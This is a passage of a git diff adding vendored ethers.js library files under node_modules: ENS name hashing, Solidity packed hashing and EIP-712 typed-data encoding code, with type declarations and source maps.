+/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +export declare function isValidName(name: string): name is string; +/** + * Returns the [[link-namehash]] for %%name%%. + */ +export declare function namehash(name: string): string; +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +export declare function dnsEncode(name: string, _maxLength?: number): string; +//# sourceMappingURL=namehash.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/namehash.d.ts.map b/node_modules/ethers/lib.esm/hash/namehash.d.ts.map new file mode 100644 index 000000000000..af0b8eaef2a9 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/namehash.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"namehash.d.ts","sourceRoot":"","sources":["../../src.ts/hash/namehash.ts"],"names":[],"mappings":"AAyCA;;GAEG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAOjD;AAED;;GAEG;AACH,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,IAAI,IAAI,MAAM,CAKxD;AAED;;GAEG;AACH,wBAAgB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAa7C;AAED;;;;;GAKG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,CAAC,EAAE,MAAM,GAAG,MAAM,CAanE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/namehash.js b/node_modules/ethers/lib.esm/hash/namehash.js new file mode 100644 index 000000000000..0f4ac3b9db96 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/namehash.js @@ -0,0 +1,84 @@ +import { keccak256 } from "../crypto/index.js"; +import { concat, hexlify, assertArgument, toUtf8Bytes } from "../utils/index.js"; +import { ens_normalize } from "@adraffy/ens-normalize"; +const Zeros = new Uint8Array(32); +Zeros.fill(0); +function checkComponent(comp) { + assertArgument(comp.length !== 0, "invalid ENS name; empty component", "comp", comp); + return comp; +} +function ensNameSplit(name) { + const bytes = toUtf8Bytes(ensNormalize(name)); + const comps = []; + if (name.length === 0) { + return comps; + } + let last = 0; + for (let i = 0; i < bytes.length; i++) { + const d = bytes[i]; + // A separator (i.e. "."); copy this component + if (d === 0x2e) { + comps.push(checkComponent(bytes.slice(last, i))); + last = i + 1; + } + } + // There was a stray separator at the end of the name + assertArgument(last < bytes.length, "invalid ENS name; empty component", "name", name); + comps.push(checkComponent(bytes.slice(last))); + return comps; +} +/** + * Returns the ENS %%name%% normalized. + */ +export function ensNormalize(name) { + try { + if (name.length === 0) { + throw new Error("empty label"); + } + return ens_normalize(name); + } + catch (error) { + assertArgument(false, `invalid ENS name (${error.message})`, "name", name); + } +} +/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +export function isValidName(name) { + try { + return (ensNameSplit(name).length !== 0); + } + catch (error) { } + return false; +} +/** + * Returns the [[link-namehash]] for %%name%%. + */ +export function namehash(name) { + assertArgument(typeof (name) === "string", "invalid ENS name; not a string", "name", name); + assertArgument(name.length, `invalid ENS name (empty label)`, "name", name); + let result = Zeros; + const comps = ensNameSplit(name); + while (comps.length) { + result = keccak256(concat([result, keccak256((comps.pop()))])); + } + return hexlify(result); +} +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +export function dnsEncode(name, _maxLength) { + const length = (_maxLength != null) ? _maxLength : 63; + assertArgument(length <= 255, "DNS encoded label cannot exceed 255", "length", length); + return hexlify(concat(ensNameSplit(name).map((comp) => { + assertArgument(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, "name", name); + const bytes = new Uint8Array(comp.length + 1); + bytes.set(comp, 1); + bytes[0] = bytes.length - 1; + return bytes; + }))) + "00"; +} +//# sourceMappingURL=namehash.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/namehash.js.map b/node_modules/ethers/lib.esm/hash/namehash.js.map new file mode 100644 index 000000000000..f720baacffab --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/namehash.js.map @@ -0,0 +1 @@ +{"version":3,"file":"namehash.js","sourceRoot":"","sources":["../../src.ts/hash/namehash.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EACH,MAAM,EAAE,OAAO,EAAE,cAAc,EAAE,WAAW,EAC/C,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,aAAa,EAAE,MAAM,wBAAwB,CAAC;AAEvD,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;AACjC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAEd,SAAS,cAAc,C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CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE;QAClD,cAAc,CAAC,IAAI,CAAC,MAAM,IAAI,MAAM,EAAE,SAAU,IAAI,CAAC,SAAS,CAAC,IAAI,CAAE,YAAa,MAAO,QAAQ,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;QAEjH,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;QAC9C,KAAK,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;QACnB,KAAK,CAAC,CAAC,CAAC,GAAG,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC;QAC5B,OAAO,KAAK,CAAC;IACjB,CAAC,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;AAChB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/solidity.d.ts b/node_modules/ethers/lib.esm/hash/solidity.d.ts new file mode 100644 index 000000000000..9b8035ebad5c --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/solidity.d.ts @@ -0,0 +1,31 @@ +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPacked(types: ReadonlyArray, values: ReadonlyArray): string; +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPackedKeccak256(types: ReadonlyArray, values: ReadonlyArray): string; +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPackedSha256(types: ReadonlyArray, values: ReadonlyArray): string; +//# sourceMappingURL=solidity.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/solidity.d.ts.map b/node_modules/ethers/lib.esm/hash/solidity.d.ts.map new file mode 100644 index 000000000000..742707df33ea --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/solidity.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"solidity.d.ts","sourceRoot":"","sources":["../../src.ts/hash/solidity.ts"],"names":[],"mappings":"AAyEA;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAQ/F;AAED;;;;;;;;GAQG;AACH,wBAAgB,uBAAuB,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAExG;AAED;;;;;;;;GAQG;AACH,wBAAgB,oBAAoB,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAErG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/solidity.js b/node_modules/ethers/lib.esm/hash/solidity.js new file mode 100644 index 000000000000..8d20e54beb64 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/solidity.js @@ -0,0 +1,103 @@ +import { getAddress } from "../address/index.js"; +import { keccak256 as _keccak256, sha256 as _sha256 } from "../crypto/index.js"; +import { concat, dataLength, getBytes, hexlify, toBeArray, toTwos, toUtf8Bytes, zeroPadBytes, zeroPadValue, assertArgument } from "../utils/index.js"; +const regexBytes = new RegExp("^bytes([0-9]+)$"); +const regexNumber = new RegExp("^(u?int)([0-9]*)$"); +const regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); +function _pack(type, value, isArray) { + switch (type) { + case "address": + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(getAddress(value)); + case "string": + return toUtf8Bytes(value); + case "bytes": + return getBytes(value); + case "bool": + value = (!!value ? "0x01" : "0x00"); + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(value); + } + let match = type.match(regexNumber); + if (match) { + let signed = (match[1] === "int"); + let size = parseInt(match[2] || "256"); + assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, "invalid number type", "type", type); + if (isArray) { + size = 256; + } + if (signed) { + value = toTwos(value, size); + } + return getBytes(zeroPadValue(toBeArray(value), size / 8)); + } + match = type.match(regexBytes); + if (match) { + const size = parseInt(match[1]); + assertArgument(String(size) === match[1] && size !== 0 && size <= 32, "invalid bytes type", "type", type); + assertArgument(dataLength(value) === size, `invalid value for ${type}`, "value", value); + if (isArray) { + return getBytes(zeroPadBytes(value, 32)); + } + return value; + } + match = type.match(regexArray); + if (match && Array.isArray(value)) { + const baseType = match[1]; + const count = parseInt(match[2] || String(value.length)); + assertArgument(count === value.length, `invalid array length for ${type}`, "value", value); + const result = []; + value.forEach(function (value) { + result.push(_pack(baseType, value, true)); + }); + return getBytes(concat(result)); + } + assertArgument(false, "invalid type", "type", type); +} +// @TODO: Array Enum +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPacked(types, values) { + assertArgument(types.length === values.length, "wrong number of values; expected ${ types.length }", "values", values); + const tight = []; + types.forEach(function (type, index) { + tight.push(_pack(type, values[index])); + }); + return hexlify(concat(tight)); +} +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPackedKeccak256(types, values) { + return _keccak256(solidityPacked(types, values)); +} +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPackedSha256(types, values) { + return _sha256(solidityPacked(types, values)); +} +//# sourceMappingURL=solidity.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/solidity.js.map b/node_modules/ethers/lib.esm/hash/solidity.js.map new file mode 100644 index 000000000000..8b315fdee0b2 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/solidity.js.map @@ -0,0 +1 @@ +{"version":3,"file":"solidity.js","sourceRoot":"","sources":["../../src.ts/hash/solidity.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EACH,SAAS,IAAI,UAAU,EAAE,MAAM,IAAI,OAAO,EAC7C,MAAM,oBAAoB,CAAC;AAC5B,OAAO,EACH,MAAM,EAAE,UAAU,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,EAAE,WAAW,EAAE,YAAY,EAAE,YAAY,EACjG,cAAc,EACjB,MAAM,mBAAmB,CAAC;AAG3B,MAAM,UAAU,GAAG,IAAI,MAAM,CAAC,iBAAiB,CAAC,CAAC;AACjD,MAAM,WAAW,GAAG,IAAI,MAAM,CAAC,mBAAmB,CAAC,CAAC;AACpD,MAAM,UAAU,GAAG,IAAI,MAAM,CAAC,sBAAsB,CAAC,CAAC;AAGtD,SAAS,KAAK,CAAC,IAAY,EAAE,KAAU,EAAE,OAAiB;IACtD,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,IAAI,OAAO,EAAE;gBAAE,OAAO,QAAQ,CAAC,YAAY,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,CAAC;aAAE;YAC1D,OAAO,QAAQ,CAAC,UAAU,CAAC,KAA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cAAc,CAAC,KAAK,EAAE,cAAc,EAAE,MAAM,EAAE,IAAI,CAAC,CAAA;AACvD,CAAC;AAED,oBAAoB;AAEpB;;;;;;;;GAQG;AACH,MAAM,UAAU,cAAc,CAAC,KAA4B,EAAE,MAA0B;IACnF,cAAc,CAAC,KAAK,CAAC,MAAM,KAAK,MAAM,CAAC,MAAM,EAAE,oDAAoD,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAEvH,MAAM,KAAK,GAAsB,EAAE,CAAC;IACpC,KAAK,CAAC,OAAO,CAAC,UAAS,IAAI,EAAE,KAAK;QAC9B,KAAK,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,EAAE,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC;IAC3C,CAAC,CAAC,CAAC;IACH,OAAO,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC;AAClC,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,uBAAuB,CAAC,KAA4B,EAAE,MAA0B;IAC5F,OAAO,UAAU,CAAC,cAAc,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,CAAC;AACrD,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,oBAAoB,CAAC,KAA4B,EAAE,MAA0B;IACzF,OAAO,OAAO,CAAC,cAAc,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,CAAC;AAClD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/typed-data.d.ts b/node_modules/ethers/lib.esm/hash/typed-data.d.ts new file mode 100644 index 000000000000..47c345b14346 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/typed-data.d.ts @@ -0,0 +1,150 @@ +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * The domain for an [[link-eip-712]] payload. + */ +export interface TypedDataDomain { + /** + * The human-readable name of the signing domain. + */ + name?: null | string; + /** + * The major version of the signing domain. + */ + version?: null | string; + /** + * The chain ID of the signing domain. + */ + chainId?: null | BigNumberish; + /** + * The the address of the contract that will verify the signature. + */ + verifyingContract?: null | string; + /** + * A salt used for purposes decided by the specific domain. + */ + salt?: null | BytesLike; +} +/** + * A specific field of a structured [[link-eip-712]] type. + */ +export interface TypedDataField { + /** + * The field name. + */ + name: string; + /** + * The type of the field. + */ + type: string; +} +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +export declare class TypedDataEncoder { + #private; + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + readonly primaryType: string; + /** + * The types. + */ + get types(): Record>; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types: Record>); + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type: string): (value: any) => string; + /** + * Return the full type for %%name%%. + */ + encodeType(name: string): string; + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type: string, value: any): string; + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name: string, value: Record): string; + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value: Record): string; + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value: Record): string; + /** + * @_ignore: + */ + _visit(type: string, value: any, callback: (type: string, data: any) => any): any; + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value: Record, callback: (type: string, data: any) => any): any; + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types: Record>): TypedDataEncoder; + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types: Record>): string; + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name: string, types: Record>, value: Record): string; + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain: TypedDataDomain): string; + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain: TypedDataDomain, types: Record>, value: Record): string; + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain: TypedDataDomain, types: Record>, value: Record): string; + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static resolveNames(domain: TypedDataDomain, types: Record>, value: Record, resolveName: (name: string) => Promise): Promise<{ + domain: TypedDataDomain; + value: any; + }>; + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain: TypedDataDomain, types: Record>, value: Record): any; +} +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +export declare function verifyTypedData(domain: TypedDataDomain, types: Record>, value: Record, signature: SignatureLike): string; +//# sourceMappingURL=typed-data.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/typed-data.d.ts.map b/node_modules/ethers/lib.esm/hash/typed-data.d.ts.map new file mode 100644 index 000000000000..dee917818460 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/typed-data.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"typed-data.d.ts","sourceRoot":"","sources":["../../src.ts/hash/typed-data.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAajE;;GAEG;AACH,MAAM,WAAW,eAAe;IAC5B;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAErB;;OAEG;IACH,OAAO,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAExB;;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,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,WAAW,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,OAAO,CAAC;QAAE,MAAM,EAAE,eAAe,CAAC;QAAC,KAAK,EAAE,GAAG,CAAA;KAAE,CAAC;IAiD9N;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,GAAG;CA0D5H;AAED;;GAEG;AACH,wBAAgB,eAAe,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM,CAEnK"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/typed-data.js b/node_modules/ethers/lib.esm/hash/typed-data.js new file mode 100644 index 000000000000..d43c5c6e7e05 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/typed-data.js @@ -0,0 +1,519 @@ +//import { TypedDataDomain, TypedDataField } from "@ethersproject/providerabstract-signer"; +import { getAddress } from "../address/index.js"; +import { keccak256 } from "../crypto/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { concat, defineProperties, getBigInt, getBytes, hexlify, isHexString, mask, toBeHex, toQuantity, toTwos, zeroPadValue, assertArgument } from "../utils/index.js"; +import { id } from "./id.js"; +const padding = new Uint8Array(32); +padding.fill(0); +const BN__1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +; +; +function hexPadRight(value) { + const bytes = getBytes(value); + const padOffset = bytes.length % 32; + if (padOffset) { + return concat([bytes, padding.slice(padOffset)]); + } + return hexlify(bytes); +} +const hexTrue = toBeHex(BN_1, 32); +const hexFalse = toBeHex(BN_0, 32); +const domainFieldTypes = { + name: "string", + version: "string", + chainId: "uint256", + verifyingContract: "address", + salt: "bytes32" +}; +const domainFieldNames = [ + "name", "version", "chainId", "verifyingContract", "salt" +]; +function checkString(key) { + return function (value) { + assertArgument(typeof (value) === "string", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value); + return value; + }; +} +const domainChecks = { + name: checkString("name"), + version: checkString("version"), + chainId: function (_value) { + const value = getBigInt(_value, "domain.chainId"); + assertArgument(value >= 0, "invalid chain ID", "domain.chainId", _value); + if (Number.isSafeInteger(value)) { + return Number(value); + } + return toQuantity(value); + }, + verifyingContract: function (value) { + try { + return getAddress(value).toLowerCase(); + } + catch (error) { } + assertArgument(false, `invalid domain value "verifyingContract"`, "domain.verifyingContract", value); + }, + salt: function (value) { + const bytes = getBytes(value, "domain.salt"); + assertArgument(bytes.length === 32, `invalid domain value "salt"`, "domain.salt", value); + return hexlify(bytes); + } +}; +function getBaseEncoder(type) { + // intXX and uintXX + { + const match = type.match(/^(u?)int(\d+)$/); + if (match) { + const signed = (match[1] === ""); + const width = parseInt(match[2]); + assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), "invalid numeric width", "type", type); + const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1) : width); + const boundsLower = signed ? ((boundsUpper + BN_1) * BN__1) : BN_0; + return function (_value) { + const value = getBigInt(_value, "value"); + assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, "value", value); + return toBeHex(signed ? toTwos(value, 256) : value, 32); + }; + } + } + // bytesXX + { + const match = type.match(/^bytes(\d+)$/); + if (match) { + const width = parseInt(match[1]); + assertArgument(width !== 0 && width <= 32 && match[1] === String(width), "invalid bytes width", "type", type); + return function (value) { + const bytes = getBytes(value); + assertArgument(bytes.length === width, `invalid length for ${type}`, "value", value); + return hexPadRight(value); + }; + } + } + switch (type) { + case "address": return function (value) { + return zeroPadValue(getAddress(value), 32); + }; + case "bool": return function (value) { + return ((!value) ? hexFalse : hexTrue); + }; + case "bytes": return function (value) { + return keccak256(value); + }; + case "string": return function (value) { + return id(value); + }; + } + return null; +} +function encodeType(name, fields) { + return `${name}(${fields.map(({ name, type }) => (type + " " + name)).join(",")})`; +} +// foo[][3] => { base: "foo", index: "[][3]", array: { +// base: "foo", prefix: "foo[]", count: 3 } } +function splitArray(type) { + const match = type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); + if (match) { + return { + base: match[1], + index: (match[2] + match[4]), + array: { + base: match[1], + prefix: (match[1] + match[2]), + count: (match[5] ? parseInt(match[5]) : -1), + } + }; + } + return { base: type }; +} +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +export class TypedDataEncoder { + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + primaryType; + #types; + /** + * The types. + */ + get types() { + return JSON.parse(this.#types); + } + #fullTypes; + #encoderCache; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types) { + this.#fullTypes = new Map(); + this.#encoderCache = new Map(); + // Link struct types to their direct child structs + const links = new Map(); + // Link structs to structs which contain them as a child + const parents = new Map(); + // Link all subtypes within a given struct + const subtypes = new Map(); + const types = {}; + Object.keys(_types).forEach((type) => { + types[type] = _types[type].map(({ name, type }) => { + // Normalize the base type (unless name conflict) + let { base, index } = splitArray(type); + if (base === "int" && !_types["int"]) { + base = "int256"; + } + if (base === "uint" && !_types["uint"]) { + base = "uint256"; + } + return { name, type: (base + (index || "")) }; + }); + links.set(type, new Set()); + parents.set(type, []); + subtypes.set(type, new Set()); + }); + this.#types = JSON.stringify(types); + for (const name in types) { + const uniqueNames = new Set(); + for (const field of types[name]) { + // Check each field has a unique name + assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", _types); + uniqueNames.add(field.name); + // Get the base type (drop any array specifiers) + const baseType = splitArray(field.type).base; + assertArgument(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, "types", _types); + // Is this a base encoding type? + const encoder = getBaseEncoder(baseType); + if (encoder) { + continue; + } + assertArgument(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, "types", _types); + // Add linkage + parents.get(baseType).push(name); + links.get(name).add(baseType); + } + } + // Deduce the primary type + const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0)); + assertArgument(primaryTypes.length !== 0, "missing primary type", "types", _types); + assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(", ")}`, "types", _types); + defineProperties(this, { primaryType: primaryTypes[0] }); + // Check for circular type references + function checkCircular(type, found) { + assertArgument(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, "types", _types); + found.add(type); + for (const child of links.get(type)) { + if (!parents.has(child)) { + continue; + } + // Recursively check children + checkCircular(child, found); + // Mark all ancestors as having this decendant + for (const subtype of found) { + subtypes.get(subtype).add(child); + } + } + found.delete(type); + } + checkCircular(this.primaryType, new Set()); + // Compute each fully describe type + for (const [name, set] of subtypes) { + const st = Array.from(set); + st.sort(); + this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join("")); + } + } + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type) { + let encoder = this.#encoderCache.get(type); + if (!encoder) { + encoder = this.#getEncoder(type); + this.#encoderCache.set(type, encoder); + } + return encoder; + } + #getEncoder(type) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return encoder; + } + } + // Array + const array = splitArray(type).array; + if (array) { + const subtype = array.prefix; + const subEncoder = this.getEncoder(subtype); + return (value) => { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + let result = value.map(subEncoder); + if (this.#fullTypes.has(subtype)) { + result = result.map(keccak256); + } + return keccak256(concat(result)); + }; + } + // Struct + const fields = this.types[type]; + if (fields) { + const encodedType = id(this.#fullTypes.get(type)); + return (value) => { + const values = fields.map(({ name, type }) => { + const result = this.getEncoder(type)(value[name]); + if (this.#fullTypes.has(type)) { + return keccak256(result); + } + return result; + }); + values.unshift(encodedType); + return concat(values); + }; + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Return the full type for %%name%%. + */ + encodeType(name) { + const result = this.#fullTypes.get(name); + assertArgument(result, `unknown type: ${JSON.stringify(name)}`, "name", name); + return result; + } + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type, value) { + return this.getEncoder(type)(value); + } + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name, value) { + return keccak256(this.encodeData(name, value)); + } + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value) { + return this.encodeData(this.primaryType, value); + } + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value) { + return this.hashStruct(this.primaryType, value); + } + /** + * @_ignore: + */ + _visit(type, value, callback) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return callback(type, value); + } + } + // Array + const array = splitArray(type).array; + if (array) { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + return value.map((v) => this._visit(array.prefix, v, callback)); + } + // Struct + const fields = this.types[type]; + if (fields) { + return fields.reduce((accum, { name, type }) => { + accum[name] = this._visit(type, value[name], callback); + return accum; + }, {}); + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value, callback) { + return this._visit(this.primaryType, value, callback); + } + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types) { + return new TypedDataEncoder(types); + } + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types) { + return TypedDataEncoder.from(types).primaryType; + } + /** + * Return the hashed struct for %%value%% using 